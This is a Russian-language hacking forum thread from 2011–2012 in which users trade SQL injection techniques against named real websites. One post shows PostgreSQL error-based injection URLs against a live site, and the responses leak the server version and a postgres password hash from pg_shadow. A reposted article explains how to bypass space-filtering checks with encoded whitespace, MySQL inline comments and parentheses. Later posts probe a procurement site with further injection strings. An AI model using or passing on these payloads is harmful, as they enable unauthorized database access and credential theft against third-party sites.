ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

14.03.2011, 15:37
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме: 2268
Репутация:
0
|
|
Используй всякие дополнительные знаки, типа табебулятия, возврат-перевод каретки и т. д.
|
|
|

14.03.2011, 17:06
|
|
Guest
Сообщений: n/a
Провел на форуме: 2108
Репутация:
0
|
|
krypt3r
Ну эт то я и сам увидел, но как только не извращался с этим синтаксисом, не могу заставить его работать с 'select'ом. фантазия уже заканчиваеца
XAMEHA
опаопа! а вот тут поподробней плиз))
|
|
|
|

14.03.2011, 17:08
|
|
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме: 866555
Репутация:
226
|
|
а может хватит гадать и ты просто ссылку выложишь?
|
|
|

14.03.2011, 21:19
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
Подкину пару вариантов
Код:
Code:
http://site.ru/trade/future/?q=asd')OR(1=((select(version()))::int))
http://site.ru/trade/future/?q=asd')OR(1)=((select"passwd"from"pg_shadow"limit(1)offset(2))::int)
Ну и примеры. За основу взята одна из инъекций в соответствующей теме.
Запрос
Код:
Code:
http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select(version()))::int);--+
Ответ:
Код:
Code:
Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "PostgreSQL 8.3.11 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84
Запрос:
Код:
Code:
http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select"usename"||':'||"passwd"from"pg_shadow"limit(1)offset(0))::int);--+
Ответ:
Код:
Code:
Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "postgres:md5ec63fc1e79539051850385b5ec9411fe" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84
|
|
|

15.03.2011, 03:34
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме: 2268
Репутация:
0
|
|
Сообщение от krypt3r
krypt3r said:
Подкину пару вариантов
Код:
Code:
http://site.ru/trade/future/?q=asd')OR(1=((select(version()))::int))
http://site.ru/trade/future/?q=asd')OR(1)=((select"passwd"from"pg_shadow"limit(1)offset(2))::int)
Ну и примеры. За основу взята одна из инъекций в соответствующей теме.
Запрос
Код:
Code:
http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select(version()))::int);--+
Ответ:
Код:
Code:
Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "PostgreSQL 8.3.11 on x86_64-pc-linux-gnu, compiled by GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84
Запрос:
Код:
Code:
http://cat.rusbic.ru/?rgn=80&cn=-999)OR(1)=((select"usename"||':'||"passwd"from"pg_shadow"limit(1)offset(0))::int);--+
Ответ:
Код:
Code:
Warning: pg_query() [function.pg-query]: Query failed: ERROR: invalid input syntax for integer: "postgres:md5ec63fc1e79539051850385b5ec9411fe" in /var/www/rusbic/data/www/rusbic.ru/func/base.php on line 84
Для начала надо понять что тут используеться PostgreSQL.
Вот как можно избавиться от фильтрации пробелов:
Вот статья их хакера:
кажем, ты нашел инъекцию на крупном новостном портале, но никак не можешь ее раскрутить, так как все известные тебе варианты пробелов не работают. Давай рассмотрим такой код
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if(isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]]!=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]){
if([/COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]" "[/COLOR][COLOR="#007700"]) {die[/COLOR][COLOR="#DD0000"]"HACK ALERT"[/COLOR][COLOR="#007700"]};
if([/COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"/**/"[/COLOR][COLOR="#007700"]) {die[/COLOR][COLOR="#DD0000"]"HACK ALERT"[/COLOR][COLOR="#007700"]};
if([/COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"+"[/COLOR][COLOR="#007700"]) {die[/COLOR][COLOR="#DD0000"]"HACK ALERT"[/COLOR][COLOR="#007700"]};
if([/COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'id'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"%20"[/COLOR][COLOR="#007700"]) {die[/COLOR][COLOR="#DD0000"]"HACK ALERT"[/COLOR][COLOR="#007700"]};
[/COLOR][/COLOR]
здесь какие-то запросы с использованием переменной $_GET['id']
Как мы видим, при использовании пробелов " ", /**/, + и %20 скрипт прекращает свою работу. На самом деле существует как минимум два способа обхода такого скрипта, первый – использование различных пробельных символов, второй – использование логики SQL запросов, в частности их реализации в MySQL.
1. Итак, первый способ. Помимо самого пробела существует множество различных пробельных символов, табуляция, возврат каретки и так далее. Вот их полный (а может и нет ) список:
%09 – horizontal tab, горизонтальная табуляция
%0A – NL line feed, символ новой строки
%0B – vertical tab, вертикальная табуляция
%0C – NP form feed, символ новой страницы
%0D – carriage return, возврат каретки
Все эти символы будут рассматриваться как пробельные. Пример запроса:
id=-1%0Aunion%0Aselect%0A1
C этим, я думаю, все понятно, перейдем ко второму варианту:
2. В MySQL есть возможность выполнять SQL-код в блоке комментариев, выглядит это примерно так:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]select id[/COLOR][COLOR="#FF8000"]/*!,title*/[/COLOR][COLOR="#0000BB"]from news[/COLOR][/COLOR]
В данном случае из таблицы news будут выведены поля id и title. Теперь посмотрим, как это реализовать в боевых условиях:
Сообщение от None
id=-1/*!union*/select/*!version()*/
Но бывает и такое, что фильтруются символы слэша. Тогда можно использовать способ, основанный на использовании скобок в запросе. Вот пример для обхода вышеизложенного скрипта:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]id[/COLOR][COLOR="#007700"]=(-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]union[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]select[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]version[/COLOR][COLOR="#007700"]()))[/COLOR][/COLOR]
Надеюсь ты меня понял
|
|
|

14.01.2012, 17:11
|
|
Guest
Сообщений: n/a
Провел на форуме: 0
Репутация:
0
|
|
Аналогичная проблема, не получается сформировать корректный запрос. А именно отловить закомментировать остаток запроса.
Пример:
http://www.roseltorg.ru/set/announce.php?id=10077'--
https://com.roseltorg.ru/file/get/t/Protocols/?id=1036%27%20order%20by%20100/*
|
|
|
|

14.01.2012, 17:14
|
|
Guest
Сообщений: n/a
Провел на форуме: 102354
Репутация:
267
|
|
Сообщение от kindunkind
kindunkind said:
Аналогичная проблема, не получается сформировать корректный запрос. А именно отловить закомментировать остаток запроса.
Пример:
http://www.roseltorg.ru/set/announce.php?id=10077'--
Там нет скульи. Ибо интвалится...
|
|
|
|

14.01.2012, 17:19
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме: 2101094
Репутация:
672
|
|
Сообщение от Ereee
Ereee said:
Там нет скульи. Ибо интвалится...
http://www.roseltorg.ru/set/announce.php?id=1test
invalid input syntax for integer: "1test"
переменная id без изменений попадает в запрос, никакого intval а там нету
|
|
|

14.01.2012, 19:52
|
|
Guest
Сообщений: n/a
Провел на форуме: 40748
Репутация:
78
|
|
%0A, и все ок.
http://etp.roseltorg.ru/trade/future/?q=%27%29%0A--%0A1
|
|
|
|

15.01.2012, 20:09
|
|
Guest
Сообщений: n/a
Провел на форуме: 0
Репутация:
0
|
|
Сообщение от Boolean
Boolean said:
%0A, и все ок.
http://etp.roseltorg.ru/trade/future/?q=%27%29%0A--%0A1
судя по всему это не инъекция
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|